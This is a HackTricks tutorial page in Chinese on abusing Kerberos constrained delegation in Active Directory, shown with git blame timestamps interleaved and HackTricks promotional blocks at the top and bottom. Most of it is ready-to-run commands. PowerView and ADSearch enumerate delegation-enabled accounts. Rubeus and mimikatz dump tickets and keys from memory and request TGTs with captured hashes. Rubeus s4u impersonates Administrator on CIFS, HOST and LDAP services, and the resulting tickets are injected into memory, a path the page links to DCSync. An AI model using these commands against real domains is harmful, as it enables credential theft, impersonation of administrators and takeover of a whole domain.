2024-02-08 04:42:06 +00:00
|
|
|
|
# 有限委派
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-01-12 08:16:22 +00:00
|
|
|
|
支持HackTricks的其他方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
2024-02-09 02:09:47 +00:00
|
|
|
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
## 有限委派
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
使用此功能,域管理员可以允许计算机针对另一台计算机的服务**模拟用户或计算机**。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
* **用户自身服务(**_**S4U2self**_**):** 如果**服务账户**的_userAccountControl_值包含[TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)(T2A4D),则它可以代表任何其他用户为自己(服务)获取TGS。
|
|
|
|
|
* **用户代理服务(**_**S4U2proxy**_**):** **服务账户**可以代表任何用户为**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此,它首先需要从该用户获取TGS到自身,但可以使用S4U2self在请求另一个TGS之前获取该TGS。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
**注意**:如果用户在AD中标记为“_帐户是敏感的,不能被委派_”,则您将**无法模拟**他们。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
这意味着如果您**窃取了服务的哈希**,您可以**冒充用户**并代表他们访问配置的**服务**(可能**提权**)。
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
此外,您**不仅可以访问用户能够模拟的服务,还可以访问任何服务**,因为不会检查SPN(请求的服务名称),只会检查权限。因此,如果您可以访问**CIFS服务**,则可以使用Rubeus中的`/altservice`标志访问**HOST服务**。
|
2022-08-14 19:23:50 +00:00
|
|
|
|
|
2024-02-09 02:09:47 +00:00
|
|
|
|
此外,**在DC上访问LDAP服务**是利用**DCSync**所需的。
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
{% code title="枚举" %}
|
2022-08-14 20:13:42 +00:00
|
|
|
|
```bash
|
2022-08-15 13:00:19 +00:00
|
|
|
|
# Powerview
|
2022-09-04 09:37:14 +00:00
|
|
|
|
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
|
|
|
|
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
|
|
|
|
#ADSearch
|
|
|
|
|
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
2022-08-14 20:13:42 +00:00
|
|
|
|
```
|
2024-01-12 08:16:22 +00:00
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
{% code title="获取TGT" %}
|
2022-09-04 09:37:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
# The first step is to get a TGT of the service that can impersonate others
|
2022-08-15 13:00:19 +00:00
|
|
|
|
## If you are SYSTEM in the server, you might take it from memory
|
|
|
|
|
.\Rubeus.exe triage
|
|
|
|
|
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
|
|
|
|
|
|
|
|
|
|
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
|
|
|
|
|
## Get AES/RC4 with mimikatz
|
|
|
|
|
mimikatz sekurlsa::ekeys
|
|
|
|
|
|
|
|
|
|
## Request with aes
|
2022-09-04 09:37:14 +00:00
|
|
|
|
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
|
|
|
|
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
|
|
|
|
# Request with RC4
|
2020-07-15 15:43:14 +00:00
|
|
|
|
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
2022-09-04 09:37:14 +00:00
|
|
|
|
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
|
|
|
|
{% hint style="warning" %}
|
2024-02-09 02:09:47 +00:00
|
|
|
|
有其他方法可以获取TGT票据或RC4或AES256,而不必在计算机中成为SYSTEM,比如打印机漏洞、非约束委派、NTLM中继和Active Directory证书服务滥用。
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
只要拥有TGT票据(或散列),您就可以执行此攻击,而无需 compromis整个计算机。
|
2022-08-15 13:00:19 +00:00
|
|
|
|
{% endhint %}
|
2022-08-14 20:13:42 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
{% code title="使用Rubeus" %}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
#Obtain a TGS of the Administrator user to self
|
|
|
|
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2020-07-15 15:43:14 +00:00
|
|
|
|
#Obtain service TGS impersonating Administrator (CIFS)
|
|
|
|
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2020-07-15 15:43:14 +00:00
|
|
|
|
#Impersonate Administrator on different service (HOST)
|
|
|
|
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
|
|
|
|
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
|
2022-09-04 09:37:14 +00:00
|
|
|
|
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
|
2022-08-15 13:00:19 +00:00
|
|
|
|
|
2020-07-15 15:43:14 +00:00
|
|
|
|
#Load ticket in memory
|
|
|
|
|
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
|
|
|
|
```
|
2024-01-12 08:16:22 +00:00
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2022-08-15 13:00:19 +00:00
|
|
|
|
{% code title="kekeo + Mimikatz" %}
|
|
|
|
|
```bash
|
|
|
|
|
#Obtain a TGT for the Constained allowed user
|
|
|
|
|
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
|
|
|
|
|
|
|
|
|
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
|
|
|
|
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
|
|
|
|
|
|
|
|
|
#Load the TGS in memory
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
2022-08-15 13:00:19 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
[**在 ired.team 中获取更多信息。**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
支持 HackTricks 的其他方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 04:42:06 +00:00
|
|
|
|
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
2024-02-09 02:09:47 +00:00
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2024-02-08 04:42:06 +00:00
|
|
|
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|